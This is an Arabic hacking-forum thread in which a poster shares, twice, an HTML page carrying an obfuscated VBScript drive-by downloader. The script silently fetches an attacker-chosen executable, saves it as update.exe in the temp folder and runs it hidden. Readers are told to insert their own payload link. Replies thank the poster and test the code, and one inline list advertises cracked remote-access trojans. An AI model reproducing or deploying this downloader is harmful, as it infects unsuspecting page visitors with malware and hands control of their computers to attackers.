السلام عليكم ورحمة الله اقدم لكم اخواني في هذا الصرح العظيم كود بلغة HTML لتلغيم الصفحات المكتوبة بهذه اللغة تابع واستبدل اللازم في الكود كود: <HTML> <BODY> <script language="VBScript"> on error resume next dl = [COLOR="#FF0000">"هنا تضع رابط باتشك المباشر"[/COLOR] Set df = document.createElement("object") cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4 df.setAttribute "classid",clsfull strr1="Mic" strr2="roso" strr3="ft." strr4="XML" strr5="HTTP" strr=strr1&strr2&strr3&strr4&strr5 Set x = df.CreateObject(strr,"") ab1="A" ab2="dod" ab3="b.S" ab4="t" ab5="re" ab6="am" strb1=ab1&ab2&ab3&ab4&ab5&ab6 strb5=strb1 set YY = df.createobject(strb5,"") YY.type = 1 str6="GET" x.Open str6, dl, False x.Send fnamezz1="update.exe" scripp1="Scrip" scripp2="ting" scripp3=".Fil" scripp4="eSyste" scripp5="mObject" scripp=scripp1&scripp2&scripp3&scripp4&scripp5 set FF = df.createobject(scripp,"") set tmp = F.GetSpecialFolder(2) fnamezz1= FF.BuildPath(tmp,fnamezz1) YY.open YY.write x.responseBody YY.savetofile fnamezz1,2 YY.close set MM = df.createobject("Shell.Application","") MM.ShellExecute fnamezz1,"","","open",0 </script> </BODY> </HTML> المصدر شبكة الصاعقة العربية لتعليم الهكرز http://forum.sa3eka.com/soft2503.html#ixzz2EsC1Euey طبعا لو تضيف بعض الزيادات على الكود مثل ادراج صورة أو صوت بيكون نور على نور وفي الختام أستودعكم الله وأرجو دعوة لي بظهر الغيب أخوكم BlAcK HuNtEr
<HTML> <BODY> <script language="VBScript"> on error resume next dl = [COLOR="#FF0000">"هنا تضع رابط باتشك المباشر"[/COLOR] Set df = document.createElement("object") cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4 df.setAttribute "classid",clsfull strr1="Mic" strr2="roso" strr3="ft." strr4="XML" strr5="HTTP" strr=strr1&strr2&strr3&strr4&strr5 Set x = df.CreateObject(strr,"") ab1="A" ab2="dod" ab3="b.S" ab4="t" ab5="re" ab6="am" strb1=ab1&ab2&ab3&ab4&ab5&ab6 strb5=strb1 set YY = df.createobject(strb5,"") YY.type = 1 str6="GET" x.Open str6, dl, False x.Send fnamezz1="update.exe" scripp1="Scrip" scripp2="ting" scripp3=".Fil" scripp4="eSyste" scripp5="mObject" scripp=scripp1&scripp2&scripp3&scripp4&scripp5 set FF = df.createobject(scripp,"") set tmp = F.GetSpecialFolder(2) fnamezz1= FF.BuildPath(tmp,fnamezz1) YY.open YY.write x.responseBody YY.savetofile fnamezz1,2 YY.close set MM = df.createobject("Shell.Application","") MM.ShellExecute fnamezz1,"","","open",0 </script> </BODY> </HTML> المصدر شبكة الصاعقة العربية لتعليم الهكرز http://forum.sa3eka.com/soft2503.html#ixzz2EsC1Euey
التعديل الأخير تم بواسطة BlAcK HuNtEr ; 12-13-2012 الساعة 12:12 AM
BlAcK HuNtEr The Artisi Of HaCkInG!!!
مشكووووور ياملك بس يكون شغال لاني انا بدور على الكود من زمان لاني يلي بالمنتدى كمان مو شغال جاري التجربة
المشاركة الأصلية كتبت بواسطة Š~ ĐáŅ†Э~ Ŷ مشكووووور ياملك بس يكون شغال لاني انا بدور على الكود من زمان لاني يلي بالمنتدى كمان مو شغال جاري التجربة تسلم يالغالي على المرور الكود ان شاء الله شغال ولا تقلق ..
يسلمو يا غالي
جميع ادوات الاختراق وكل ما يحتاجه الهكر في أداة واحده Xtreme rat 3.5 بكراك المحارب بعض ضياعه من على مواقع الرفع بعد طول انتظار ADWIND rat حصرياً ومش هتلاقيها في اي حته مع ANTI-rat مش هتحتاج انتي فيروس قبل أي شخص آخر تحميل Nj Rat V0.7d بتاريخ اليوم FaceBooK
اشكرك اخي أكرم علي الطرح الرائع
يسلموا ياالغلا
مشششششششششكور
شكرا جزيلا
مشكورررررررررر
مشكور حبيبى على الطرح الرائع وبالنسبة لئضافة صورة هذة بسيطة بس الاهم يكون شغال
قوانين المنتدى